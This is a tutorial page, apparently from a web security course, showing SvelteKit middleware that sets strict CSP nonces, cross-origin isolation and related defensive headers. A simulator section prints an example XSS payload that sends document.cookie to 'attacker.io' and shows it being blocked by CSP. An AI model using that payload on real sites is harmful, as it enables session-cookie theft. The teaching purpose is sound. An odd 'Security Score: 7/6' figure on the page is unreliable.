Security, Privacy & EU Regulations Defensive Web Security

30. Modern Web Security: Strict CSP Level 3, Nonces & Isolation

Harden full-stack web applications with strict cryptographic CSP Level 3 nonces, Cross-Origin Opener/Embedder Isolation, Trusted Types, and fine-grained Permissions Policy.

defensive-headers.ts
typescript
// 1. Strict Cryptographic Nonce & Defensive Headers Middleware
import type { Handle } from '@sveltejs/kit';
export const handle: Handle = async ({ event, resolve }) => {
const nonce = crypto.randomUUID();
event.locals.nonce = nonce;
const response = await resolve(event, {
transformPageChunk: ({ html }) => html.replace(/%nonce%/g, nonce)
});
// Strict CSP Level 3 + Cross-Origin Isolation + Permissions Policy
response.headers.set(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; require-trusted-types-for 'script';`
);
response.headers.set('Cross-Origin-Opener-Policy', 'same-origin');
response.headers.set('Cross-Origin-Embedder-Policy', 'require-corp');
response.headers.set('Cross-Origin-Resource-Policy', 'same-origin');
response.headers.set('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
response.headers.set('X-Content-Type-Options', 'nosniff');
response.headers.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), interest-cohort=()');
return response;
};

Modern Web Security & Defensive Architecture

Comprehensive browser-side defense-in-depth requires more than basic sanitization. Modern web architectures in 2026 rely on cryptographic nonces, execution boundaries, and hardware isolation headers to render entire classes of injection and timing attacks obsolete.

  • Strict CSP Level 3 ('strict-dynamic'): Replaces fragile domain allowlists with per-request cryptographic nonces ('nonce-UUID'), ensuring dynamically loaded trusted dependencies execute while malicious inline scripts are immediately blocked.
  • Cross-Origin Isolation (COOP + COEP + CORP): Enables high-precision WebAssembly threads, SharedArrayBuffer, and prevents Spectre-style side-channel microarchitectural attacks by isolating browsing context groups.
  • Trusted Types API: Eliminates DOM-based XSS by requiring typed objects (TrustedHTML, TrustedScript) before strings can be written to dangerous injection sinks like innerHTML.
  • Fine-Grained Permissions-Policy: Explicitly disables unneeded device hardware access (cameras, microphones, sensors, FLoC/Topics tracking) at the HTTP protocol layer.
Defensive Security Headers & Isolation Simulator Security 2026
Simulate Attack Vector:
Inline Script Injection (Stored/Reflected XSS) BLOCKED (CSP Violation)
<script>fetch("https://attacker.io/steal?cookie=" + document.cookie)</script>

Refused to execute inline script because it lacks the valid dynamic cryptographic nonce ('nonce-8f7a9...').

HTTP/3 200 OK — Defensive Response Headers Security Score: 7/6
X-Content-Type-Options: nosniff
				Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-8f7a9b1c' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; require-trusted-types-for 'script';
				Cross-Origin-Opener-Policy: same-origin
				Cross-Origin-Embedder-Policy: require-corp
				Cross-Origin-Resource-Policy: same-origin
				Permissions-Policy: camera=(), microphone=(), geolocation=(), interest-cohort=()
				Strict-Transport-Security: max-age=63072000; includeSubDomains; preload